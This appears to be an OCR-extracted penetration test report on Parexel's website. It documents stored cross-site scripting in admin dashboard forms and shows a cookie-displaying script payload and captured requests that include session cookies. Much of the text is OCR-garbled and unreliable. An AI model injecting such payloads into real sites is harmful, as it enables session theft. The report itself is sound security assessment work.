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Executive Summary

Overview

Parexel engaged Stratum Security (Stratum) to conduct an application
security assessment of the Global Website penetration application. This
assessment attempted to identify application security vulnerabilities
that may allow an attacker to gain unauthorized access to the
application, the data contained within the application, or the underlying
infrastructure.

Stratum grades assessments and compares results to overall customer
averages. Details about Stratum’s grading approach can be found in
Appendix C: Stratum Assessment Grading.

Approach

The application security assessment focused on identifying exploitable
software flaws within the target application using the same tools,
techniques, and processes threat actors use to attack applications.
Stratum testers considered the role of the application within the
organization, various abuse cases, and the application’s technology
stack. Stratum employed various tools and assessment methods to
identify potential vulnerabilities within the application. The blend of
automated testing methods and the expertise of an application security
specialist performing manual pen testing ensured a rigorous
assessment that provided an accurate depiction of the application’s
security posture.

Project Scope
e  https://www.parexel.com

Finding Summary

stratum//security

a CyberAdvisors company

Project Snapshot

Current Assessment Grade
Global Website A
Application
Average Customer Grade

Application
Assessments

Open Findings

3
Dates
Kickoff
Dec 17, 2025
Testing

Dec 17 -23, 2025
Report Delivery
Dec 23, 2025

Overall, Stratum found that the Global Website penetration application exhibited an above average security posture
compared to other applications assessed by Stratum. The application exhibited a total of 3 findings. Many of the
findings were within the Injection, Security Misconfiguration, and Insecure Design OWASP Top 10 categories.

TASK GRADE CRITICAL HIGH
Global Website A 0 0 1 0
Assessment
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Summary of Findings

Findings by OWASP Top 10

Injection
Security Misconfiguration
Insecure Design

o

Findings by Severity

# Severity Category

1 MEDIUM Injection

2 INFO Security Misconfiguration
3 INFO Insecure Design
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-

Title
Stored Cross-Site Scripting (Systemic)
Lack of HTTP Header: Content Security Policy

Concurrent Logins Permitted
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Detailed Findings Matrix

1 - Stored Cross-Site Scripting (Systemic)

Severity Description Impact Recommendation
The application is vulnerable to An attacker can use JavaScript to Properly encode or escape user input on both the server and client
Cross-Site Scripting (XSS) attacks  steal sensitive information such as when displaying it to the browser.
allowing malicious user input to the session ID to gain access to the
Category execute JavaScript code in the application as the victim, execute Perform input validation within the backend application. Deny all input
Injection victim's browser. code in the browser on behalf of the that is not required for the operation of the application and only allow
victim, create a fake login page to necessary content.

harvest valid users' login credentials,
or redirect users to other sites to
download malicious content. Reference(s)

OWASP: XSS Prevention Cheat Sheet

CWE-79: Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting')

Details

Stored Cross-Site Scripting (XSS) was possible on multiple functionalities within the app.

When creating/updating content for a 'Resource' with www.parexel.com/index.php/dashboard/resource_library/resources/save:
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https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
https://cwe.mitre.org/data/definitions/79.html
https://cwe.mitre.org/data/definitions/79.html

[5] https://www.parexel.com/index.php/dashboard/resource_library/resourcesfedit/913

P & TO MY WEBSITE

‘I‘ Edit Resource

Use the tabs to navigate through each step of creating a resource.

Experts Media Related Gated SEO

Basic Details

[ Source

<script>alert(, ment.cookie)</s

Cancel Edit Resource

Figure 1 - Saving XSS payload to ‘Resource’ content value

Request
& @ n =

Pretty Raw Hex
Content-Disposition: form-data; name="resourceAuthor"

------ WebKitFormBoundary0jImAybNZV7PANG1
Content-Disposition: form-data; name="resourcePageType"

—————— WebKitFormBoundary0jImAybNZV7PANG1
Content-Disposition: form-data; name="resourceType"

Select Resource Type
—————-WebKitFormBoundary0jImAybNZV7PANG1
Content-Disposition: form-data; name="resourceActive"

------ WebKitFormBoundary0j ImAybNZV7PANG1
Content-Disposition: form—data; name="resourceUrl"

—————— WebKitFormBoundary0jImAybNZV7PANG1
Content-Disposition: form-data; name="resourceContent"

|<scnpt>a1ert{du:ument .coukxe)dsm‘pb]

YT Emiy
Content-Disposition: form-data; name="resourceMedialink"

—————-WebKitFormBoundary0jImAybNZV7PANG1
Content-Disposition: form-data; name="resourceVideoTranscript"

76 —

WebKitFormBoundary0jImAybNZV7PANG1
Content-Disposition: form-data; name="resourceCid"

79 @
80 ==-=-—-WebKitFormBoundary0jImAybNZV7PANG1
81 Content-Disposition: form-data; name="resourceExpertl"

B3 @
84 --———-WebKitFormBoundary0jImAybNZV7PANG1

I i 5

0 highlights

@&« 2

==
Response
Pretty Raw Hex Render [N no=
1 HTTP/1.1 382 Found
2 Date: Tue, 23 Dec 2025 17:00:28 GMT
3 Server: Apache
4 Strict-Transport-Security: max-age=31536008; includeSubDomains

X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=()}, microphone=(), camera=()
Content-Security-Policy-Report-Only: default-src 'self'; script-src ‘'self'
‘unsafe-inline' 'report-sample' https://www.googletagmanager.com
https://www.google-analytics.com https://www.google.com
https://www.googleadservices.com https://www.gstatic.com https://pi.pardot.com
https://cdn.pardot.com https://snap.licdn.com https://connect.facebook.net
https://widget.instabot.io https://widgetapi.instabot.io https://addevent.com
/cdn.addevent.com https://cookie-cdn.cookiepro.com
/kit.fontawesome.com https://cdn.jsdelivr.net https://cdn.evgnet.com
/d2134c80adftze.cloudfront.net https://d2iiunr5ws5chl.cloudfront.net
/d2wyBf7a9ursnm.cloudfront.net https://www.youtube.com
/player.vimeo.com https://tag.demandbase.com
ps://amd.sellingsimplified.net https://explore.parexel.com
https://lottie.host https://assets2.lottiefiles.com https://static.hotjar.com
https://script.hotjar.com https://googleads.g.doubleclick.net
https://www.googleadservices.com https://sidebar.bugherd.com
https://www.bugherd.com; style-src 'self' 'unsafe-inline' 'report-sample’
https://fonts.googleapis.com https://translate.googleapis.com
https://cdn.jsdelivr.net https://cdnjs.cloudflare.com https://code.jquery.com
https://d2iiunr5ws5chl.cloudfront.net https://form.asana.com
https://lottie.host https://assets2.lottiefiles.com; img-src 'self' data:
blob: https://*.google.com https://*.qoogletagmanager.com
https://%.google-analytics.com https://#.gstatic.com https://#.doubleclick.net
https://*.googlesyndication.com https://#.linkedin.com https://+.licdn.com
https://+.facebook.com https://+.fbcdn.net https://#.ytimg.com
http: /#*.youtube.com https://*.twitter.com https://*.twimg.com
https://cookie-cdn,cookiepro.com https://static,instabot.io
https://tag.demandbase.com https://*.demandbase.com https://lottie.host
https://*.lottiefiles.com https://d2iiunr5ws5chl.cloudfront.net
https://*.bugherd.com https://*.amazonaws.com; font-src 'self' data:
/fonts.gstatic.com https://ka-p.fontawesome.com
https://cdnjs.cloudflare.com https://d2iiunrSws5chl.cloudfront.net

0 highlights

Figure 2 - Call to update 'Resource’ content
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The XSS payload was triggered by viewing the modified resource at www.parexel.com/insights/playbook/<resource slug>:

C oard > Y Library >

‘ n ‘ Resources

ADD RESOURCE EDIT FEATURED RESOURCES TRIALBLAZER SETTINGS

Number of Results Search for Resource

‘ 50

Content Type

Apply Filters

XSS Test Active Delete

Figure 3 - Viewing the Resouce with XSS content

(4] bitps:/fwww.parexel.comfinsights/blogftest-resource

www.parexel.com says

rokoAPI=%7B%22ApplicationSessionUuid%22%3A%22251a65
eb-bde9-4a2b-bea3-2602666429a9%22%7D;
_gcl_au=1.1.1682264295.17656829002;
_ga=6GA1.1.1297586075.1765829002;
_fbp=fb.1.1766829002221.862030720371210973; _hj

SessionUser_2954580=eyJpZCI6ljlyYzkGNDNhLWYSNTQtNTIy
NCO5ZjczLTFkMDewOW Y 1MDkyMils
ImNyZWF0ZWQIOJE3NjUAMjkwMDIONzIsImY 4aXN0aW SnljpOcn
VI _fedscv=eyJDdXNOb21Ick

i e Z e kA E4R A AR A OO YD ol Tl Tt A AR fror A ARAD T LA AL

Figure 4 - XSS payload executing when viewing resource

When naming a new 'Resource' type with www.parexel.com/index.php/dashboard/resource_library/types/save

THIS DOCUMENT IS THE CONFIDENTIAL AND PROPRIETARY PROPERTY OF PAREXEL AND STRATUM SECURITY 9
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G  [4] bttps:/fwww.parexel.comfindex.php/dashboard/resource_library/types/edit/25

< & TO MY WEBSITE

D noard =

L‘ Edit Resource Type

Resource Type Name

<script>alert(document.cookie)</script]

Edit Type

Figure 5- Naming a Resource type with an XSS payload
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Pratty Raw Hex

PoST sdashboard/resource_library/types/save HTTP/1.1

Host: www.parexel.com

Cookie: visid_incap_3218675=

ThIBimTmQt6VuX1IVIHIS0dpQGKAAAAAQUIPAAAAAADW idyhFrhtZTI2XuF55523u; rokoAPI=
%7B%22ApplicationSessionUuid%22%3A%22251a65e5-bde9-4a2b-bea3-2602666429a9%22
%70; _gcl_au=1.1.1682264285.1765820002; _ga=GA1.1.1297586075.1765829802;
_fbp=fb.1.1765829002221.862030720371210973; _hjSessionlser_2954580=
eyIpZCI6I IyYzKSNDNhLWYSNTQENTIYNCO5Z ] czL TFKMD cwOWY IMDkyMils ImNyZWF@ZWQi0jE3
NjU4Mj kwMDIBNz Ts TmV4aXN@aWsnTjpBcnV1fQ _fedsev=
ey]DdXN@b211cklkIjoiMjg2ZmFhMzELM] cIMy@B0DCyLT ImYTgtMjVmYzA4M2ZkMjY2IiwiVmlz
aXRvcilbeylFbWFpbCIGbnVsbCwiRXhOZXIuYWxWaXNpdGIySWQi0iIyYTAWODIhYS@yY2EWLTQy
N2QtYjM2NS11Nzg4NGNhZDZmZDIifSwivmlzaXRz 1] pbXSwiQWNBaXZpdGl leyI6W1As TkRpYWdu
b3NBaWNNZXNzYWd1Ijpudixs fQ==; OptancnAlertBoxClosed=2025-12-15T20:04:57.979Z
; AMCV_9BCF67B254E93B1BRA4CIBASS40Adobelrg=
179643557%7CMCMID%7C61935385869493252253287106247963503391%7CMCAAMLH-1766433
912%7C7%7CMCAAME-1766433912%7C6G1ynYcLPuilxYZrsz_pkgfLGOyMXBpb2zX5dv1dYQIzPX
Imdj@y%7CMCOPTOUT-17658363125%TCNONESTCyVersion%s7C05.5.0;
dashboardPanelStatus=null; rokoAPISession=
7518f66f-2d2c-4acl-B@ca-dBcBbc6b9055; OptanonConsent=
isGpcEnabled=@&datestamp=Tue+Dec+23+2025+08%3A34%3A01+GMNT-070@8+(Mountain+Sta
ndard+Time)&version=202403.1,8&browserGpcFlag=0&isIABGlobal=Talse&hosts=&con
sentId=1603c311-beal-48f7-bf4b-1d43ad2bad@ckinteractionCount=1&isAnonUser=1&
landingPath=NotLandingPage&groups=C0B01%3A1%2CCARB2%3AD%2CCAND3%3A0%2CCABRA%
3AB&geolocation=US%3BVALAwaitingReconsent=false; _ga_N6HIFM3RZG=
652.1.51766503353$08%01$t17665040415]57$10%h0; _ga_EYKIEGZDBT=
G52.1.51766503353507$01$t17665048445j545105h0; CONCRETE=

1s28j lg2ggef7nvcejbhBo3k24; CONCRETE_LOGIN=1

Content-Length: 123
Cache-Control: max-age=0
Sec—Ch-Ua: "Chromium";
Sec-Ch-Ua-Mobile: 7@
Sec-Ch-Ua-Platform: "mac0s"

Accept-Language: en-US,en;g=0.9

Origin: https://www.parexel.com

Content-Type: application/x-www—form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (Macintesh; Intel Mac 05 X 18_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.@.8.@ Safari/537.36
Accept:
text/html,applicatien/xhtml+xml,applicatien/xml;q=0.9, image/avif, image/webp,
image/apng,*/+;q=0.8,application/signed-exchange;v=b3;g=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer:
https://www.parexel.com/index.php/dashboard/resource_library/types/add
Accept-Encoeding: gzip, deflate, br

Priority: u=0, 1

Connection: keep-alive

rmmmmwmmmnamsia&twwame=
%3Cscript%3Ealert%28document. cookie%29%3C%2Fscript%3E4id=0

143", “Not A(Brand";

24"

=
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Response

DO B W e

Pratty Raw Hex Render

HTTP/1.1 382 Found

Date: Tue, 23 Dec 2825 17:@6:53 GMT

Server: Apache

Strict-Transport-Security: max-age=31536000;
X-%55-Protection: 1; mede=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Referrer-Polic strict-origin-when-cross—origin

Permissions-Policy: geolocation=(), microphone=(}, camera=()
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self
‘unsafe-inline' 'report-sample' https://www.googletagmanager.com
https://www.google-analytics.com https://www.google.com
https://www.googleadservices. com https://www.gstatic.com https://pi.pardet.com
https://cdn.pardot.com https://snap.licdn.com https://connect.facebook.net
https://widget.instabot.ie https://widgetapi.instabot.ie https://addevent.com
/cdn.addevent.com https://cockie-cdn.cookiepro.com
/kit.fontawesome.com https://cdn.jsdelivr.net https://cdn.evgnet.com
/d2i34cB@adftze.cloudfront.net https://d2iiunrSws5chl. cloudfront.net
/d2wyBf7a%ursnm. cloudfront.net https://www.youtube.com
/player.vimeo.com https://tag.demandbase.com
/famd.sellingsimplified.net https://explore.parexel.com
https://lottie.host https://assets2. lottiefiles.com https://static.hotjar.com
/script.hotjar.com https://googleads.g.doubleclick.net
/vww.googleadservices.,com https://sidebar.bugherd.com

/wwvi.bugherd.com; style-src 'self' 'unsafe-inline' 'report-sample’
/fonts.googleapis.com https://translate.googleapis.com
/cdn.jsdelivr.net https://cdnjs.cloudflare.com https://code.jquery.com
/d2iiunr5ws5chl. cloudfront.net https://form.asana.com
https://lottie.host https://assets2.lottiefiles.com; img-src 'self’
bloeb: https://#*.google.com https://+.googletagmanager.com
https://*.google-analytics.com https://*.gstatic.com https://*.doubleclick.net
https://*.googlesyndication.com https://+*.linkedin.com https://*.licdn.com
https://#.facebook.com https://*.fbcdn.net https://*.ytimg.com

/*.youtube.com https://*.twitter.com https://*.twimg.com
/cookie-cdn.cookiepro.com https://static.instabot.io
/tag.demandbase.com https://#.demandbase.com https://lottie.host
/#.lottiefiles.com https://d2iiunrSwsSchl. cloudfront.net
https://#.bugherd.com https://#.amazonaws.com; font-src ‘self' data:
/fonts.gstatic.com https://ka-p.fontawesome. com

Jecdnjs.cloudflare.com https://d2iiunrSws5chl, cloudfront.net
https://at.alicdn.com; connect-src 'self' https://analytics.google.com
/vww.google-analytics.com https://regienl.analytics.google.com
/regionl.google-analytics.com https://stats.g.doubleclick.net
fad.doubleclick.net https://googleads.g.doubleclick.net
/adservice.google.com https://pagead2.googlesyndication.com
https://vwww.google.com https://*.google.com https://*.google.co.uk
/#.google.de https://*.google.fr https://*.google.es

/+.google. it https://*.google.nl hittps://+.google.co.jp
https://#.google.com.au https://px.ads.linkedin.com

/edn. linkedin.oribi.ie https://*.hotjar.com https://in.hotjar.com
/vec.hotjar.io https://content.hotjar.io https://widget.instabot.io
/widgetapi.instabot.io https://static.instabot.io

/chat,instabot.io https://livechat.instabot.io wss://chat.instabot.io
https://cookie-cdn. cookiepro.com https://geolocation.onetrust.com
https://privacyportal.cookiepro.com https://tag.demandbase.com

includeSubDomains

data:

Figure 6 — Call to create new 'Resource’ type

The XSS payload was triggered by viewing the list of 'Resource’ types at www.parexel.com/index.php/dashboard/resource_library/types:
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[4] bttps://www.parexel.comfindex.php/dashboard/resource_library/types

www.parexel.com says

rokoAPI=%7B%22ApplicationSessionUuid%22%3A%22251a65
eb-bde9-4a2b-bea3-2602666429a9%22%7D;
_gcl_au=1.1.1682264295.1765829002;
_ga=GA1.1.1287586075.1765829002;
_fbp=fb.1.1765829002221.862030720371210973; _hj
SessionUser_2854580=eyJpZCI6ljlyYzkSNDNhLWYSNTQINTIly
NCO05ZjezLTFkMDewOW Y 1MDkyMils
ImNyZWF0ZWQIOJE3NjU4M|kwhMDIONzIsimW4aXMN0aW5snljpOcn
VIfQ==; _fedscv=eyJDdXNOb21Ick

L1 P b= EEA A A kA e AN Ml Tl Touk kil femVor A ARAD T LA AL

Figure 7 - XSS payload executes when viewing the list of Resource types

It was also triggered by viewing the list of 'Resources' at www.parexel.com/index.php/dashboard/resource_library/resources:

[5] bps:ffwww.parexel.com/dashboard/resource_library/resources

www.parexel.com says

rokoAPI=%7B%22ApplicationSessionUuid%22%3A%22251a65
e5-bde9-4a2b-bea3-2602666429a9%22%7D;
_gcl_au=1.1.1682264295.1765829002;
_ga=GA1.1.1297586075.1765829002;
_fbp=fb.1.1765820002221.862030720371210973; _hj

SessionlUser_2954580=eyJpZCI6ljlyYzkENDNALWYENTQtNTIy
NC05ZjezLTFkMDewOWY 1MDlcyMils
ImNyZWF0ZWQiOJE3NjUAMjkwMDIONzIsimV4aXN0awsnljpOcn
cdscv=eyJDdXNOb21Ick

AT raChi A7 AT~ AN AN Al Tl Tath Al raV A ARID T LAAR

oK

Figure 8 - XSS payload also executes when viewing the list of Resources, since Resource types are also listed on this page

When naming a new 'Resource’ topic with www.parexel.com/dashboard/resource_library/topics/save:
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[4] Bttps:/fwww.parexel.comfindex.php/dashboardfresource_library/topics/add

€& TO MY WEBSITE

= Resource Library :

‘L‘ Add a New Resource Topic

Resource Topic Name

<script>alert(document.cookie)</script>
Enter subtopics for this topic
Add New Subtopic

Show in Filter

Include this topic in filter options

Cancel Add Topic

Figure 9 - Naming a Resouce topic with XSS payload

THIS DOCUMENT IS THE CONFIDENTIAL AND PROPRIETARY PROPERTY OF PAREXEL AND STRATUM SECURITY 13



Request
Pretty Raw Hax

®

1 POST /dashboard/resource_library/topics/save HTTR/1.1

Host: wwi.parexel.com
Cookie: visid_incap_3210675= 7h18JmeDtE\du)(1]V7HiindpDGkAAAAADUIPAAAAAADWldthrhtZIZXuFSS;zZu-
57B%22ApplicationSessionUuids22%3A%22251a65e5-bded-4a2b-bea3-2602666429a9%22%70; _gcl _al
1.1.1682264295,1765820002; _ga=GAl,1.1297586075.1765620002; _fbp=fb.1.1765820002221. §E203072037121007 ;
_hjSessionUser_295458I

€yIpZCIEI] IyY2KSNDNhLYSNTQENTIYNCOSZ] czLTFKMD cwOWY 1MDKyM 1 1s InNyZWFOZWQ 107 E3N] USH j kwMDIONZIs ImV4aXNoaksnI
ipBenV L _fedscv=

rokoAPI=

€yIDdXNeb211ck 1KIj0iMj g2ZmFhHZETHj c1My@@0DCYLT LmYTgth VY zA4M2ZKM Y21 1iwiVm LzaXRv ciT6ey ) FOWFpbCIBbAVSbCHiR
XhBZXJuYwxWaXNpdGBySWOi01 IyYTAWOD IhYSByY2EwL TQyN2QEY jM2NS1INZgANGNhZDZmZDT 4 fSwiVmlzaXRz1 j pbXSwiQWNBaXZpdG
ULeyI6W10s TKRpYWAub3NDaWNNZXNZ YA LTjpudkixs fQ==; OptanonAlertBoxClosed=2825-12-15T20:04:57.979Z;
AMCV_9BCFE78254E93B1B0A4CIBASA0Ad0be0rg=
179643557%7CMCHID%7C6193 252253287106247963503391%7 CHCAAMLH-17664339125%7C7%7 CMCAAMB-176643391257
C6G1ynYCLPUiOXYZrsz_pkafLGyHXBpb22X5dvIdYQIzPXInd]@ys7CHCOPTOUT-17658363125%7CNONE7CvVers1on%7Cs. 5.
dashboardPanelStatus=null; rokoAPISession=75181667-2d2c-d4acl-B0ca-dBcBbchbIRsS5; OptanonConsent:
Sdatestanp=Tue+Dec+23+2025+08%3A34%3A01+GHT-0700+ (Mountain+Standard+Tine)&versioj

&landingPath=NotLandingPage&groups=CoR01%3A1%2CCODA25%3AD%2CC0O03%3AR2CCODDA%IADGGE0 Loca
tion=US%3BVA&AwaitingReconsent=False; _ga_NGHIFM3RZG=GS2.1.51766503353§0B414t1766504841$1574105h

CONCRETE=1528] l92ggef7nvcejbhBo3k24;

_ga_EVKIEGZDBT=GS2.1.51766503353507501$t176650404451545105h0;
CONCRETE_LOGIN=1

Cache-Contral: max-ag

143", "Not A(Brand"

Sec-Ch-Ua-Mobile: 28
Sec-Ch-Ua-Platform: "mac0S"
Accept-Language: en-US,en;q=0.9

Origin: https://www.parexel.com

Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests:
User-Agent: Mozilla/5.8 (Macintosh;
Chrome/143.0.0.0 Safari/537.36
Accept:

text/html, appllzatmn/thhxmt application/xnl;a=
ion/signed-exchange;v=b3;q
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec—Fetch-User: 71

Sec—Fetch-Dest: document

Referer: https://www.parexel.con/index.php/dashboard/resource_library/topics/add
Accept-Encoding: ozip, deflate, br

Priority: u=p,

Connection: keep-alive

Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)

+9,image/avif, image/webp, inage/apng, +/+;a=8.8,applicat

token=176651010253AdRA30h topicName=

%3Cscripts3Ealerts28documen uokm\zawc\zﬁscrxgn3E!.twmcsuntopxnsawxsnnssmnsb
TOpicSubtopick5BOs5Dk5BnaneksD=AshowInF 1 ter=151

Protty Raw  Hex Render

Response -

HTTP/1.1 302 Found

Date: Tue, 23 Dec 2025 1
Server: Apache
Strict-Transport-Securit
X-XS§-Protection: 1; mo
X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Referrer—Policy: strict-origin-when-cross-origin

Permissions-Policy: geolocation=(), microphone=(), camera=()

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' ‘unsafe-inline' 'report-sample’
https://ww.googletagnanager, com https://www.google-analytics, com https://www.google. com
hittps://ww.googleadservices. con https://www.gstatic.com https://pi.pardot.com http:
https://snap. licdn.com https://connect.facebook.net https://widget.instabot.io
https://widgetapi.instabot.io https://addevent.com https://cdn.addevent.con
https://cookie-cdn.cookiepro.com https://kit.fontawesome.com https://cdn.jsdelivr.nef
https://cdn.evgnet.com https://d2i34cB0a0ftze, cloudfront.net https://d2iiunrswsSchl.cloudfront.net
https://d2wyBfTadursnm. cloudfront.net https://wiw.youtube.com https://player.vineo.com
https://tag.demandbase. com https://amd.sellingsimplified.net https://explore.parexel.com
https://lottie.host https://assets2.lottiefiles.com https://static.hotjar.com https://script.hotjar.con
https://googleads.g.doubleclick. net https://www.googleadservices.com https://sidebar.bugherd.com
https://wwi.bugherd.com; style-src ‘self' ‘unsafe-inline' 'report-sample’' https://fonts.gocgleapis.com
https://translate.googleapis.com https://cdn.jsdelivr.net https://cdnjs.cloudflare.com

3 GMT

max-age=31536000; includeSubDomains
lock

/cdn. pardot. com

https://code. jquery.com https://d2iiunrSws5chl.cloudfront.net https://form.asana.com https://lottie.host
https://assets2. lottiefiles.com; img-src 'self' data: blob: https://+.google.con
https://+.googletagnanager.con https://+.google-analytics.com https://+.gstatic.com
https://+.doubleclick.net https://*.googlesyndication.com https://*. linkedin.com https://+.licdn.com
https://+. facebook.com https://+.fbcdn.net hEtps://+.yting.com https://+.youtube.com https://+.twitter.com
https://x. twing.com https://cookie-cdn.cookiepro.com https://static.instabot.io https://tag.demandbase.com
https://+. demandbase.com https://lottie.host https://*.lottiefiles.com

https://d2iiunrswsschl. cloudfront.net https://+.bugherd.com https://+.amazonaws.com;
https://fonts.gstatic.con https://ka-p.fontawesome.com https://cdnjs.cloudflare. com
https://d2iiunrswsschl, cloudfront.net https://at.alicdn.com; connect-src 'self’
https://analytics.google.com https://waw.google-analytics.com https://regionl.analytics.google.com
https://regionl.google-analytics.com https://stats.g.doubleclick.net https://ad.doubleclick. net
https://googleads.g.doubleclick.net https://adservice.google.con https://pagead2.googlesyndication.com
https://wv.google.com https://+.google.com https://+.google.co.uk https://+.google.de https://+.google. fr
https://*.google.es hitps://+.google.it https://*.google.nl https://*.gocgle.co.jp https://*.google. com.au
https://px.ads. linkedin.com https://cdn. linkedin.oribi.io https://*.hotjar.com https://in.hotjar.com
https://ve.hotjar.io https://content.hotjar.ic https://widget.instabot.ic https://widgetapi.instabot.io
https://static.instabot.io https://chat.instabot.io https://livechat.instabot.io wss://chat.instabot.io
https://cookie-cdn.cookiepro.com https://geolocation.onetrust.com https://privacyportal.cookiepro.com
https://tag.demandbase. com https://tag-logger.demandbase.com https://segments. company-target.com
https://api.company-target.con https://and.sellingsinplified.net https://st.fullcircleinsights.con
https://ipinfo.io https://geodata.solutions https://maps.googleapis.com https://sessions.bugsnag.com
https://notify.bugsnag. com https://www.bugherd.com wss://ws-mt1.pusher.com wss://ws.pusherapp. com
https://lottie host https://assets2, lottiefiles.com https://cdn. jsdelivr.net https://ka-p.fontawesome,com;
frame-src 'self' https://www.youtube.com https://player.vimeo.com https://www. facebook.com
https://waw.google.com https://waw.googletagmanager.com https://insight.adsrvr.org
httos://td.doubleclick.net httos://vars.hotiar.con httos://wiw.ocodbean.com httos://form.asana.com

font-src ‘self' data:

Figure 10 — Call to create new 'Resource’ topic

hitps://www.parexel.comfindex.php/dashboard/resource_library/topics

The XSS payload was triggered by viewing the list of 'Resource' topics at www.parexel.com/index.php/dashboard/resource_library/topics:

www.parexel.com says

rokoAPI=%7B%22ApplicationSessionUuid%22%3A%222
e5-bde9-4a2h-bea3-2602666429a9%22%7D;
_gcl_au=1.1.1682264295.1765829002;
_ga=0GA1.1.1287586075.1765829002;
_fbp=fb.1.1765829002221.862030720371210973; _hj

SessionUser_2954580=eyJpZCI61jlyYzkSNDNhLWYSNTQtNTIly
NCO05ZjczL TFkMDewOW Y 1MDkyMils
ImNyZWFOZWQIOJE3NjUAMjkwMDIONzIsImV4aXN0awsnljpOcn
VIfQ==; _fcdscv=eyJDdXNOb21ick

Ielinikdim? 7 ea Chb iz EtAAia1h NN Dol TleaW Tadhdit eV A ARAT 7 Lh

Figure 11 - XSS payload executes when viewing list of Resource topics
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When naming a 'Case Study' at www.parexel.com/index.php/dashboard/studies/add:

[4] bttps:/fwww.parexel.comfindex.php/dashboard/studies/manage/add

€& TO MY WEBSITE

Dashboard = Case Studis

‘I‘ Manage Studies

Case Study Title

<script>alert(document.cookie)</script>

Figure 12 - Naming a Case Study with XSS payload
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- -
Request Response
Pratty Raw  Hex no= | Ppretty Raw  Hex Render n o=
1 POST /dashboard/studies/manage/save HTTP/1.1 1 HTTP/1.8 382 Foun

d
Date: Tue, 23 Dec 2025 17:12:48 GMT
Server: Apache
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-XSS5-Protection: 1; mode=block

Host: www.parexel.com
Cookie: visid_incap_3210675=7hIBinTmQt6VuX1IV7H350dpQGKAAAAAQUIPAAARAADW idyhFrhtZI2XuF5552z3u; rokoAPT=
%7B%22ApplicationSessionluid%22%3A%22251a65¢e5-bded-4a2b-bea3-2602666429a9%22%7D; _gcl_au=

1.1.16822642095.1765829002; _ga=GA1.1.1207586075.1765829002; _fbp=rb.1.1765829002221,862030720371210973;

_hjSessionUser_2954580= 6 X-Content-Type-Options: nosniff

eyIpZCI6T] IyYzkSNDNALWYSNTQENTIYNCOS5Z ] czL TFKMD cwOWY IMDkyMiTs ImNyZWFOZW0i0j E3N{U4M ] kuMDIONZISImV4aXNoaWSnI | 7 X-Frame-Options: SAMEORIGIN

jplenV1fo==; _fcdscv= 8 Referrer-Policy: strict-origin-when-cross-erigin

eyIDOXNBb211ck LKIj0iMjg2ZmFhMzELM] c1MyBAODCYLT LmYTgtM] VmY ZAdM2ZkN] Y2 I iwiVmlzaXRycil6ey JFbWFpbCIGbNVSbCWiR | 9 Permissions-Policy: geelecation=(), microphone=(), camera={()
XR@ZXIUYHxWaXNpdGIYSWO101TyYTAWODIRYSOYY2EWLTOYN2QtY JM2NS1INZg4NGNh ZDZmZDI1ifSwivmlzaXRz1jpbXSwiQWN@aXZpdG |10 Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' 'unsafe-inline' 'report-sample’

/v, goog letagmanager. com https://www,google-analytics.com https://www.google, com
/v, googleadservices. com https://www. gstatic.com https://pi.pardot.com https://cdn.pardot.com
/snap.licdn.com https://connect.facebook.net https://widget.instabot.io https://widgetapi.instabot. it

LLcyI6W10s IkRpYWdub3NOaWNNZXNZYWA LI pudnixsT0==; OptanonAlertBoxClosed=2025-12-15T20:04:57.979Z;
AMCV_9BCF678254E93B1B0A4CIBA5%48Adobe0 rg=
179643557%7CHCHID%7C6193! 252253287186247963503391%7 CHCAAMLH-1766433912%7C7%7 CMCAAMB-176643391257
C6G1ynYcLPuilxYZrsz_pkafLGIyMXBpb2zX5dv]dY0IzPXInd]0y%7CHCOPTOUT-17658363125%7CNONES7CVersions7C5.5.8; /cdn. addevent . com https://cookie-cdn. cookiepro. com https://kit. fontawesome.com
dashboardPanelStatus=null; rokoAPISession=75181667-2d2c-4ac1-8Bca-dBcBbc6bIBSS; OptanonConsen /cdn. jsdelivr.net https://cdn.evgnet.com https://d2i34cBadftze. cloudfront.net
isGpcEnabled=BSdatestamp=Tue+Dec+23+2025+08%3A34%3A01+GMT-0700+(Mountain+Standard+Tine)&version=202403.1. https://d2iiunrsws5chl. cloudfront.net https://d2wy8f7adursnm. cloudfront.net https://www.youtube.com
B&browserGpcFlag=0£isTABG Lobal=Talse&hosts=&consentTd=1603c311-bea-48f7-bfab-1d43a42bdd0csinteract ionCou /player.vimeo. com https://tag.demandbase.com https://amd.sellingsimplified.net
nt=1&isAnonlser=161andingPath=NotLandingPagesg roups=CB00143A142CC000253A0%2CCO00I43IA0ACCOODIL3A0E 0 Loca /explore.parexel.com https://lottie.host https://assets2.lottiefiles.con https://static.hotjar.com
tien=US%3BVA&AwaitingReconsent=false; _ga_NBHIFM3RZG=GS2.1.517665033535085015t17665040415757$105h0; https://script.hotjar.com https://googleads.g.doubleclick.net https://www.googleadservices.com
_ga_EYK1EGZDBT=G52.1,51766503353$07$015t17665040447545108h0; CONCRETE=1528] lg2gaet7nveeibhBo3k2 /sidebar.bugherd.com https://www.bugherd.com; style-src 'self' 'unsafe-inline' 'report-sample’
CONCRETE_LOGIN=1 /fonts.googleapis. com https://translate,googleapis.com https://cdn.jsdelivr.net
Content-Length: 761 /cdnjs. cloudflare, com https://code.jquery.com https://d2iiunrSusSchl, cloudfront. net
Cache-Control: max-ag /form.asana.com https://lottie.host https://assets2.lottiefiles.com; img-src 'self' data: blob:
Sec-Ch-Ua: "Chromium /*.google. com https://+.googletagmanager.com https://*.google-analyties.com https://*.gstatic.com
